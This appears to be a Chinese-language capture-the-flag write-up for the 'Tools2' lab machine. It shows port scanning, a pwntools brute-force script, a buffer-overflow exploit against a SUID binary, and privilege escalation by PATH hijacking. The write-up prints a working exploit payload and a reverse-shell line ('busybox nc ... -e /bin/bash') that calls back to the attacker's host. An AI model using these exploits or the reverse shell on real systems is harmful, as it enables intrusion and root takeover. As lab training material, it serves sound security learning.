Tools2靶场学习笔记

正文

kali攻击机地址:192.168.67.181

靶场地址:192.168.67.176

一、端口扫描与代码审计

在kali里,使用nmap工具:

bash 复制代码
nmap 192.168.67.176 -p-

访问80端口,代码审计能发现密码:thehackerlabs

针对1337端口,nc连接过去:

看要求,还要写随机数。

二、编写pwn脚本跑随机数

构造一个随机数的脚本:

python 复制代码
from pwn import *
import re

for i in range(1000):
    r = remote("192.168.67.176",1337)
    r.recvuntil(b'Please enter password: ')
    r.sendline(b'thehackerlabs')

    r.recvuntil(b'Please enter a number (1-1000): ')
    r.sendline(b'500')
    a = r.recvall().decode()
    if 'Wrong' not in a:
        print(a)
        break

最后跑出来用户名和密码welcome/vulnyx

在opt目录下发现可以提权的程序todd:

bash 复制代码
-rwsr-sr-x 1 root root 16952 Jun 16 2025 todd
  • -普通二进制程序(红色文件名,setuid/setgid 标记高亮)

  • 第 4 位 s:Set‑UID 位(SUID)

    • 文件属主是 root,设置 SUID 后:不管哪个普通用户运行这个 todd 程序,进程都会以文件所有者 root 身份执行
  • 第 7 位 s:Set‑GID 位(SGID)

    • 运行时进程使用文件所属组 root 的权限

✨CTF 考点:SUID 提权

普通用户执行./todd,程序运行身份 = root,如果程序有漏洞,就可以拿到 root 权限。

权限拆解:-rw s r‑ s r‑x

  1. 属主权限 rw- + SUID (s) → rw s
  2. 用户组权限 r-- + SGID (s) → r‑ s
  3. 其他用户 r‑x:任何人都可读、可执行

三、文件传输逆向分析todd程序

先分析一下这个todd程序是干什么的,用攻击机接收:

python 复制代码
nc -lp 1234 > todd

靶机上传:

python 复制代码
cat todd > /dev/tcp/192.168.67.181/1234 

四、ida逆向发现todd可劫持命令函数,计算偏移量

用ida 软件打开,对着main函数F5反编译一下:

进入vulnerable()函数 里:

这里可以看出,使用gets函数,会导致栈溢出。

在靶机里,使用pwndbg工具调式,计算一下偏移量。

bash 复制代码
pwndbg todd
r

在攻击机里生成100个数字,测试偏移量

bash 复制代码
msf-pattern_create -l 100

可以看到在靶机里,将字符串Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A写入地址0x7ffeecc7b3a8时,发生栈溢出了。

那我们在攻击机里,计算一下偏移量:

bash 复制代码
msf-pattern_offset -q Ac4A 

证明偏移量是72,那就得生成72个字符A,并生成4字节B:

bash 复制代码
perl -le 'print "A"x72 . "BBBB"' 

生成如下字符:

bash 复制代码
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

五、靶机端口代理出来,编写exp脚本连接上去做路径劫持操作,获取flag。

先在靶机里做一个端口转发:

bash 复制代码
socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/opt/todd,pty,raw,echo=0

再到IDA里,找到todd函数的地址,F5反编译后,空格键,tab键能找到调用todd函数的地址:

编写exp,并在攻击机里运行:

python 复制代码
from pwn import *
import re

r = remote("192.168.31.133",12345)
r.recvuntil(b'Enter password: ')
r.sendline(b'hackmyvm')

junk = b'A' * 72
todd = p64(0x4011B2)

payload = junk + todd

r.sendline(payload)
r.interactive()

可以看到执行了靶机里同目录下的a.txt文件。

所以我们可以在靶机上,去临时目录下做一个自己创造的head程序,骗靶机去执行我们的head。

操作如下:

bash 复制代码
cd /tmp
echo 'busybox nc 192.168.31.188 1234 -e /bin/bash' > head
chmod +x head 
export PATH=/tmp:$PATH
socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/opt/todd,pty,raw,echo=0

攻击机再开一个窗口,监听1234端口:

bash 复制代码
nc -lp 1234
id

成功获取到flag:

相关推荐
高亦真5 分钟前
今天是学习嵌入式的第37天
linux·学习·算法
蒸蒸yyyyzwd2 小时前
从面经中学到的三件事
c++·笔记
泡泡鱼(敲代码中)3 小时前
Python 字符串 str 完整学习笔记
python·学习
IT小白杨4 小时前
社媒多账号运营的环境隔离:一张图谱模型,解释清“为什么换IP还是被连坐“
经验分享·笔记·矩阵·指纹浏览器
kyrie_sakura5 小时前
python学习笔记15 -- Anaconda,Jupyter,numpy
python·学习·jupyter·numpy
PC2005-cloud7 小时前
Rust学习笔记:控制流——if、loop、while、for与match
笔记·学习·rust
彧azz7 小时前
DFS与BFS:图遍历的两大核心算法
数据结构·学习·算法·深度优先·广度优先
IT笔记7 小时前
Rust 迭代器多级链式调用执行顺序笔记
开发语言·笔记·rust
kyrie_sakura8 小时前
python学习笔记14 -- FastAPI
笔记·python·学习·fastapi
来两个炸鸡腿8 小时前
【Datawhale2609】算子开发实战 task01-熟悉沐曦GPU
人工智能·学习·大模型